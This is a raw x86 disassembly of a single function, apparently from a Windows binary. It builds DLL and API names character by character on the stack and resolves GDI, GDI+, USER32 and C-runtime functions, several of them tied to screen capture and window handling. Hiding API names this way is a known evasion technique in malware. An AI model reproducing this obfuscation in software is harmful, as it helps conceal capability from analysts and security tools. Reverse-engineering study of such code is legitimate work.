mov dword [edi + 0x15c], eax
push 0x61
push 0x6e
push ebx
push 0x73
push 0x6f
push 0x68
push ebx
push ebp
lea eax, [esp + 0x44]
push 0x67
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
mov dword [edi + 0x160], eax
push 0x49
push 0x44
lea eax, [esp + 0x104]
push 0x47
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push ebx
push 0x63
push ebp
push 0x6a
push 0x62
push 0x4f
push ebp
push ebx
push ebp
mov dword [esp + 0x38], eax
push 0x6c
push ebp
lea eax, [esp + 0x48]
push 0x44
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push ebx
push 0x69
push 0x42
push 0x49
push 0x44
mov dword [edi + 0x164], eax
push ebx
push ebp
lea eax, [esp + 0x3c]
push 0x47
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebx
push 0x63
mov dword [edi + 0x168], eax
push ebp
push 0x6a
push 0x62
push 0x4f
push ebx
push ebp
lea eax, [esp + 0x40]
push 0x47
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6c
push 0x42
mov dword [edi + 0x16c], eax
push ebx
push 0x69
lea eax, [esp + 0x30]
push 0x42
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x63
push ebp
push 0x6a
push 0x62
push 0x4f
push ebx
push 0x63
push ebp
mov dword [edi + 0x170], eax
push 0x6c
push ebp
lea eax, [esp + 0x48]
push 0x53
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x43
push 0x44
push ebp
push 0x6c
push 0x62
push 0x69
push ebx
push 0x61
push 0x70
push 0x6d
push 0x6f
push 0x43
push ebp
push ebx
push 0x61
mov dword [edi + 0x174], eax
push ebp
push 0x72
lea eax, [esp + 0x60]
push 0x43
push eax
call fcn.004105df
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x178], eax
push 0
push 0x70
push 0x61
push 0x6d
push ebx
push 0x69
push 0x42
push ebp
push 0x6c
push 0x62
push 0x69
push ebx
push 0x61
push 0x70
push 0x6d
push 0x6f
push 0x43
push ebp
push ebx
push 0x61
push ebp
push 0x72
lea eax, [esp + 0x70]
push 0x43
push eax
call fcn.004105df
add esp, 0x60
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x43
push 0x44
push ebp
push ebx
push 0x61
mov dword [edi + 0x17c], eax
push ebp
push 0x72
lea eax, [esp + 0x3c]
push 0x43
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x43
push 0x44
push ebp
push ebx
push ebp
mov dword [edi + 0x180], eax
push 0x6c
push ebp
lea eax, [esp + 0x38]
push 0x44
push eax
call fcn.004105df
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x53
push 0x55
push 0x4c
push 0x50
push 0x49
push 0x44
mov dword [edi + 0x184], eax
push 0x47
lea eax, [esp + 0x110]
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x73
push 0x72
push ebp
push 0x64
push 0x6f
push 0x63
push 0x6e
push 0x45
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push ebx
push ebp
push 0x47
push 0x70
mov dword [esp + 0x58], eax
push 0x69
push 0x64
lea eax, [esp + 0x68]
push 0x47
push eax
call fcn.004105df
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x7a
push 0x69
push 0x53
push 0x73
push 0x72
push ebp
push 0x64
push 0x6f
push 0x63
push 0x6e
push 0x45
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push ebx
push ebp
push 0x47
push 0x70
mov dword [edi + 0x188], eax
push 0x69
push 0x64
lea eax, [esp + 0x78]
push 0x47
push eax
call fcn.004105df
add esp, 0x68
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push ebp
push 0x73
mov dword [edi + 0x18c], eax
push 0x6f
push 0x70
push 0x73
push 0x69
push 0x44
push 0x70
push 0x69
push 0x64
lea eax, [esp + 0x58]
push 0x47
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x69
push 0x46
push 0x6f
push 0x54
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push ebp
push 0x76
push 0x61
push 0x53
push 0x70
mov dword [edi + 0x190], eax
push 0x69
push 0x64
lea eax, [esp + 0x64]
push 0x47
push eax
call fcn.004105df
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x69
push 0x46
push 0x6d
push 0x6f
push 0x72
push 0x46
push ebp
push 0x67
push 0x61
push 0x6d
push 0x49
push 0x64
push 0x61
push 0x6f
push 0x4c
push 0x70
mov dword [edi + 0x194], eax
push 0x69
push 0x64
lea eax, [esp + 0x6c]
push 0x47
push eax
call fcn.004105df
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x75
mov dword [edi + 0x198], eax
push ebx
push 0x72
push 0x61
push ebx
push 0x53
push 0x73
push 0x75
push 0x6c
push 0x70
push 0x69
push 0x64
lea eax, [esp + 0x50]
push 0x47
push eax
call fcn.004105df
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x77
push 0x6f
push 0x64
push ebx
push 0x75
push 0x68
push 0x53
push 0x73
push 0x75
push 0x6c
push 0x70
mov dword [edi + 0x19c], eax
push 0x69
push 0x64
lea eax, [esp + 0x54]
push 0x47
push eax
call fcn.004105df
add esp, 0x44
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x52
mov dword [edi + 0x1a0], eax
push 0x45
push 0x53
lea eax, [esp + 0x108]
push 0x55
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x64
push 0x49
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
mov dword [esp + 0x50], eax
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
push ebx
push ebp
lea eax, [esp + 0x78]
push 0x47
push eax
call fcn.004105df
add esp, 0x68
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x78
push 0x45
push 0x73
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
push ebx
mov dword [edi + 0x1a4], eax
push 0x69
push 0x78
lea eax, [esp + 0x4c]
push 0x45
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebx
push 0x78
push ebp
push 0x54
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [edi + 0x1a8], eax
push ebx
push ebp
lea eax, [esp + 0x50]
push 0x47
push eax
call fcn.004105df
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x67
push 0x6e
push 0x6f
push 0x4c
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [edi + 0x1ac], eax
push ebx
push ebp
lea eax, [esp + 0x50]
push 0x47
push eax
call fcn.004105df
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [edi + 0x1b0], eax
push ebx
push ebp
lea eax, [esp + 0x3c]
push 0x47
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
push 0x70
push 0x6f
push ebx
push 0x6b
push 0x73
push ebp
push 0x44
mov dword [edi + 0x1b4], eax
push ebx
push ebp
lea eax, [esp + 0x58]
push 0x47
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x67
push 0x61
push 0x73
push 0x73
push ebp
push 0x4d
push ebx
mov dword [edi + 0x1b8], eax
push 0x73
push 0x6f
lea eax, [esp + 0x48]
push 0x50
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x77
push 0x6f
push 0x64
push 0x6e
mov dword [edi + 0x1bc], eax
push 0x69
push 0x57
push 0x64
push 0x6e
push 0x69
lea eax, [esp + 0x44]
push 0x46
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x63
push 0x69
push 0x72
push ebx
push ebp
push 0x4d
push 0x6d
push ebp
push ebx
push 0x73
push 0x79
push 0x53
mov dword [edi + 0x1c0], eax
push ebx
push ebp
lea eax, [esp + 0x58]
push 0x47
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
push 0x79
push 0x6f
push 0x72
push ebx
mov dword [edi + 0x1c4], eax
push 0x73
push ebp
lea eax, [esp + 0x4c]
push 0x44
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x67
push 0x61
push 0x73
push 0x73
push ebp
push 0x4d
push 0x64
mov dword [edi + 0x1c8], eax
push 0x6e
push ebp
lea eax, [esp + 0x48]
push 0x53
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
mov dword [edi + 0x1cc], eax
push 0x57
push 0x73
lea eax, [esp + 0x38]
push 0x49
push eax
call fcn.004105df
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x67
push 0x61
push 0x73
push 0x73
push ebp
push 0x4d
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
push ebx
mov dword [edi + 0x1d0], eax
push 0x73
push 0x6f
lea eax, [esp + 0x60]
push 0x50
push eax
call fcn.004105df
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x67
push 0x61
push 0x73
push 0x73
push ebp
push 0x4d
mov dword [edi + 0x1d4], eax
push ebx
push ebp
lea eax, [esp + 0x44]
push 0x47
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x54
push 0x52
push 0x43
push 0x56
mov dword [edi + 0x1d8], eax
push 0x53
lea eax, [esp + 0x108]
push 0x4d
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x66
push ebx
push 0x6e
push 0x69
mov dword [esp + 0x24], eax
push 0x72
push 0x70
lea eax, [esp + 0x34]
push 0x73
push eax
call fcn.004105df
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x6d
push 0x63
mov dword [edi + 0x1dc], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push ebx
push 0x73
mov dword [edi + 0x1e0], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x79
push 0x70
push 0x63
mov dword [edi + 0x1e4], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x68
push 0x63
push 0x72
push 0x72
mov dword [edi + 0x1e8], eax
push ebx
lea eax, [esp + 0x34]
push 0x73
push eax
call fcn.004105df
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push ebp
push 0x6c
mov dword [edi + 0x1ec], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x68
push 0x63
mov dword [edi + 0x1f0], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x6d
push 0x63
mov dword [edi + 0x1f4], eax
push 0x6d
push ebp
lea eax, [esp + 0x30]
push 0x6d
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x6e
mov dword [edi + 0x1f8], eax
push 0x61
push 0x72
lea eax, [esp + 0x2c]
push 0x73
push eax
call fcn.004105df
add esp, 0x1c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
mov dword [edi + 0x1fc], eax
push 0x6e
push 0x61
lea eax, [esp + 0x28]
push 0x72
push eax
call fcn.004105df
add esp, 0x18
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x6d
push 0x63
mov dword [edi + 0x200], eax
push 0x73
push 0x63
lea eax, [esp + 0x30]
push 0x77
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
mov dword [edi + 0x204], eax
push 0x77
push 0x6f
lea eax, [esp + 0x24]
push 0x70
push eax
call fcn.004105df
add esp, 0x14
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x70
push 0x75
push 0x72
mov dword [edi + 0x208], eax
push ebx
push 0x73
lea eax, [esp + 0x34]
push 0x5f
push eax
call fcn.004105df
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x77
push 0x6c
push 0x72
mov dword [edi + 0x20c], eax
push ebx
push 0x73
lea eax, [esp + 0x34]
push 0x5f
push eax
call fcn.004105df
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push ebp
push 0x73
push 0x72
mov dword [edi + 0x210], eax
push ebx
push 0x73
lea eax, [esp + 0x34]
push 0x5f
push eax
call fcn.004105df
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x61
push 0x63
mov dword [edi + 0x214], eax
push 0x72
push ebx
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x218], eax
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret